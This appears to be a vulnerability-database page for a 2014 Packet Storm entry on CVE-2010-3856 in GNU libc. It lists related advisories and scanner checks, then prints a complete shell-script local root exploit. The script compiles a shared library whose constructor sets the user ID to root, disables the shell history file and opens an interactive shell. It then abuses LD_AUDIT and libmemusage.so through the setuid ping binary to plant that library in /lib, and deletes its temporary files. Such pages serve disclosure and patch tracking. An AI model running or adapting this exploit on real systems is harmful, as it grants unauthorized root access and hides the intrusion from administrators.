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GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root
🗓️ 06 Nov 2014 00:00:00Reported by Saeid BostandoustType 
packetstorm🔗 packetstormsecurity.com👁 102 Views
| Reporter | Title | Published | Views | Family All 113 |
|---|---|---|---|---|
 | GNU C library dynamic linker LD_AUDIT arbitrary DSO load Vulnerability | 23 Oct 201000:00 | – | zdt |
| glibc LD_AUDIT arbitrary DSO load Privilege Escalation | 9 Nov 201100:00 | – | zdt |
| Glibc 2.11.3 / 2.12.x LD_AUDIT libmemusage.so Local Root Exploit | 19 May 201300:00 | – | zdt |
| glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation Exploit | 10 Feb 201800:00 | – | zdt |
| glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation Exploit | 1 Apr 201800:00 | – | zdt |
 | CentOS 5 : glibc (CESA-2010:0793) | 24 Nov 201000:00 | – | nessus |
| Debian DSA-2122-1 : glibc - missing input sanitization | 24 Oct 201000:00 | – | nessus |
| Fedora 12 : glibc-2.11.2-3 (2010-16641) | 1 Nov 201000:00 | – | nessus |
| Fedora 13 : glibc-2.12.1-4 (2010-16655) | 29 Oct 201000:00 | – | nessus |
| Fedora 14 : glibc-2.12.90-18 (2010-16851) | 29 Oct 201000:00 | – | nessus |
10
`#!/bin/sh
# Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit
# Date: 05/11/2014
# Exploit Author: ssbostan
# Vendor Homepage: http://www.gnu.org/software/libc/
# Software Link: http://ftp.gnu.org/gnu/glibc/
# Version: <= 2.12.1
# Tested on: Ubuntu 8.04
# CVE: http://www.cvedetails.com/cve/CVE-2010-3856/
umask 0
cat > /tmp/libxpl.c << EOF
__attribute__((constructor)) void init()
{
setuid(0);
setgid(0);
unlink("/lib/libxpl.so");
setenv("HISTFILE", "/dev/null", 1);
execl("/bin/sh", "/bin/sh", "-i", 0);
}
EOF
gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null
cat /tmp/libxpl.so > /lib/libxpl.so
rm -rf /tmp/libxpl.c /tmp/libxpl.so
LD_AUDIT="libxpl.so" ping
`
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06 Nov 2014 00:00Current
8.6High risk
Vulners AI Score8.6
EPSS0.0894